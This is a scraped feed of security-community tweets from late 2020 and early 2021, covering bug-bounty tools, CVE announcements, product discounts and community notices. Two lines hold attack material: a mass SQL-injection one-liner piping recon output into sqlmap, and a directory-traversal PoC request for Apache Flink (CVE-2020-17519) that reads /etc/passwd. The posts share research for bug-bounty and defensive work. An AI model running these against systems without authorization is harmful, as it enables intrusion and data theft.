LAST DAY! For Christmas we have created a coupon with a 20% of discount "MERRYXSSMAS" until the end of the year. In one purchase you have three activation for three different computers (for VM, VPS, etc).
You can buy it at:https://t.co/I6mxQ7K270— Burp Bounty (@BurpBounty) December 31, 2020
You can buy it at:https://t.co/I6mxQ7K270— Burp Bounty (@BurpBounty) December 31, 2020
Shareit
MyCommerce Online Store
Free trials, shareware, and ebooks!
2020 ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100% feliz año 🎊🎊
— DragonJAR - Seguridad Informática (@DragonJAR) January 1, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 1, 2021
Twitter
DragonJAR - Seguridad Informática
2020 ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 100% feliz año 🎊🎊
Yo tuve este cd original 😂 https://t.co/stQAMJF2gt pic.twitter.com/8EKYopL2Rb
— JaimeARestrepo_ (@JaimeARestrepo_) January 3, 2021
— JaimeARestrepo_ (@JaimeARestrepo_) January 3, 2021
Twitter
b1ack0wl
#Only90sSkidsWillRemember
Como van con su 34 de diciembre ? 2020 ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 101%
— JaimeARestrepo_ (@JaimeARestrepo_) January 3, 2021
— JaimeARestrepo_ (@JaimeARestrepo_) January 3, 2021
Twitter
JaimeARestrepo_
Como van con su 34 de diciembre ? 2020 ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ 101%
🔥 findomain -t https://t.co/SCNfLzBcWO -q | httpx -silent | anew | waybackurls | gf sqli >> sqli ; sqlmap -m sqli -batch --random-agent --level 1
💉 SQLINJECTION ONELINE 💉https://t.co/WXQZxQgSK2#bugbounty #bugbountytips #github pic.twitter.com/6z8MQh0D6W— 👑 OFJAAAH 👑 (@ofjaaah) January 3, 2021
💉 SQLINJECTION ONELINE 💉https://t.co/WXQZxQgSK2#bugbounty #bugbountytips #github pic.twitter.com/6z8MQh0D6W— 👑 OFJAAAH 👑 (@ofjaaah) January 3, 2021
GitHub
GitHub - KingOfBugbounty/KingOfBugBountyTips: Our main goal is to share tips from some well-known bughunters. Using recon methodology…
Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wis...
I'm happy to announce my first public tool for javascript analysis - JSA https://t.co/pYznwjz2lh! It was a part of my private automation workflow for a long time, and it helped me score the highest bounty in my fav program on @Hacker0x01 - $6500. Hope you'll like it! #bugbounty pic.twitter.com/y6L52Y9Nne
— Max (@0xw2w) January 3, 2021
— Max (@0xw2w) January 3, 2021
GitHub
GitHub - w9w/JSA: Javascript security analysis (JSA) is a program for javascript analysis during web application security assessment.
Javascript security analysis (JSA) is a program for javascript analysis during web application security assessment. - GitHub - w9w/JSA: Javascript security analysis (JSA) is a program for javascrip...
Algunas formas de llamar a localhost saltando filtros de algunos WAF https://t.co/YkTCHluiJJ #bugbountytips #hacking #websecurity pic.twitter.com/Hv0sJH5avC
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
Pastebin
Algunas formas de llamar a localhost saltando filtros de algunos WAF - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
APKLeaks un buscador de enlaces, API’s y secretos dentro de archivos #APK https://t.co/eGJAnJOtem #hacking #pentesting #hackingmobile #bugbountytips pic.twitter.com/GEWgMoIgOI
— DragonJAR - Seguridad Informática (@DragonJAR) December 26, 2020
— DragonJAR - Seguridad Informática (@DragonJAR) December 26, 2020
Twitter
#apk hashtag on Twitter
See Tweets about #apk on Twitter. See what people are saying and join the conversation.
Wynis es el homólogo de Lynis en *nix pero para Windows 10 / Server 2016 y escrito en PowerShell, permite identificar los problemas de configuración para que puedas mejores prácticas de CIS fácilmente https://t.co/gCyGGnjmyv #hacking #BlueTeam #Windows #SeguridadDefensiva #Win pic.twitter.com/si0OZYW3mV
— DragonJAR - Seguridad Informática (@DragonJAR) December 28, 2020
— DragonJAR - Seguridad Informática (@DragonJAR) December 28, 2020
GitHub
GitHub - Sneakysecdoggo/Wynis: Audit Windows Security with best Practice
Audit Windows Security with best Practice. Contribute to Sneakysecdoggo/Wynis development by creating an account on GitHub.
Vulmap un nuevo escáner de vulnerabilidades Web por línea de comandos que debes conocer https://t.co/1NhVf99daA #hacking #webapp #hackingweb #bugbounty #bugbountytips pic.twitter.com/vqnVjGEUIz
— DragonJAR - Seguridad Informática (@DragonJAR) December 25, 2020
— DragonJAR - Seguridad Informática (@DragonJAR) December 25, 2020
KitPloit - PenTest & Hacking Tools
Vulmap - Web Vulnerability Scanning And Verification Tools
Algunas formas de llamar a localhost saltando filtros de algunos WAF https://t.co/YkTCHluiJJ #bugbountytips #hacking #websecurity pic.twitter.com/Hv0sJH5avC
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
Pastebin
Algunas formas de llamar a localhost saltando filtros de algunos WAF - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Quien fue el chistoso que dijo 2021 sorpréndeme 😞 https://t.co/xLQsxL2ECK
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 4, 2021
Twitter
Slack Status
We've updated the severity on our end. Please check the status site for updates. https://t.co/A17yXzyV5a
Nuestra labor como ciudadanos digitales es cuidarnos entre todos, cuando vean un sitio de fraude, como https://t.co/LdOuagHW25 no duden en reportarlo, les dejo 3 de los sitios donde pueden hacerlo https://t.co/P09xDfAHzU - https://t.co/PTKVkbEh0S y https://t.co/aTN1Db30ND #fraude pic.twitter.com/D6XzNm8eKj
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
Si eres 🇨🇴 Colombiano 🇨🇴 y te interesa el bugbounty ingresa a https://invite.gg/dragonjar en el canal de #bugbounty que tenemos noticias interesantes para que puedas buscar fallos en el programa de Mercadolibre Colombia con scope privado y limitado a unas cuantas personas.
Discord
Join the Hacking y Seguridad Informática - DragonJAR Discord Server!
Check out the Hacking y Seguridad Informática - DragonJAR community on Discord - hang out with 6,431 other members and enjoy free voice and text chat.
Si eres 🇨🇴 Colombiano/a 🇨🇴 y te interesa el bug bounty ingresa a https://t.co/NN9bMYkF2J en el canal de #bugbounty que tenemos noticias interesantes para que puedas buscar fallos en el programa de Mercadolibre Colombia con scope privado y limitado a 30 personas. pic.twitter.com/VKpvjbMhuT
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
Discord
Join the Hacking y Seguridad Informática - DragonJAR Discord Server!
Check out the Hacking y Seguridad Informática - DragonJAR community on Discord - hang out with 6,424 other members and enjoy free voice and text chat.
A swarm of FortiWeb CVE-s is here:
1️⃣Unauth SQL Injection (CVE-2020-29015)
2️⃣Unauth Buffer Overflow (CVE-2020-29016)
3️⃣Unauth Buffer Overflow (CVE-2020-29019)
4️⃣Format String (CVE-2020-29018)
Attributed to: Andrey Medov
Advisories: https://t.co/TwDduMauXc pic.twitter.com/BTSMJki2ld— PT SWARM (@ptswarm) January 6, 2021
1️⃣Unauth SQL Injection (CVE-2020-29015)
2️⃣Unauth Buffer Overflow (CVE-2020-29016)
3️⃣Unauth Buffer Overflow (CVE-2020-29019)
4️⃣Format String (CVE-2020-29018)
Attributed to: Andrey Medov
Advisories: https://t.co/TwDduMauXc pic.twitter.com/BTSMJki2ld— PT SWARM (@ptswarm) January 6, 2021
FortiGuard
PSIRT Advisories
Nuestra labor como ciudadanos digitales es cuidarnos entre todos, cuando vean un sitio de fraude, como https://t.co/LdOuagHW25 no duden en reportarlo, les dejo 3 de los sitios donde pueden hacerlo https://t.co/P09xDfAHzU - https://t.co/PTKVkbEh0S y https://t.co/aTN1Db30ND #fraude pic.twitter.com/D6XzNm8eKj
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
— DragonJAR - Seguridad Informática (@DragonJAR) January 5, 2021
CVE-2020-17519 #Apache Flink directory traversal
[PoC]
GET /jobmanager/logs/..%252f..%252f..%252f......%252f..%252fetc%252fpasswd' https://t.co/vl2czT957y pic.twitter.com/F4a50L6YHx— Jin Wook Kim (@wugeej) January 6, 2021
[PoC]
GET /jobmanager/logs/..%252f..%252f..%252f......%252f..%252fetc%252fpasswd' https://t.co/vl2czT957y pic.twitter.com/F4a50L6YHx— Jin Wook Kim (@wugeej) January 6, 2021
X (formerly Twitter)
#Apache - Search / X
See posts about #Apache on X. See what people are saying and join the conversation.
Just published a new Burp Bounty Pro version 1.5.2! To celebrate the New Year we started with a 20% discount coupon "HAPPYNEWYEAR" for the entire month of January!
If you have bought it, you can download at:https://t.co/G1FNuAAxt7
For buy it at:https://t.co/I6mxQ7K270 pic.twitter.com/KIQtrF5VnK— Burp Bounty (@BurpBounty) January 8, 2021
If you have bought it, you can download at:https://t.co/G1FNuAAxt7
For buy it at:https://t.co/I6mxQ7K270 pic.twitter.com/KIQtrF5VnK— Burp Bounty (@BurpBounty) January 8, 2021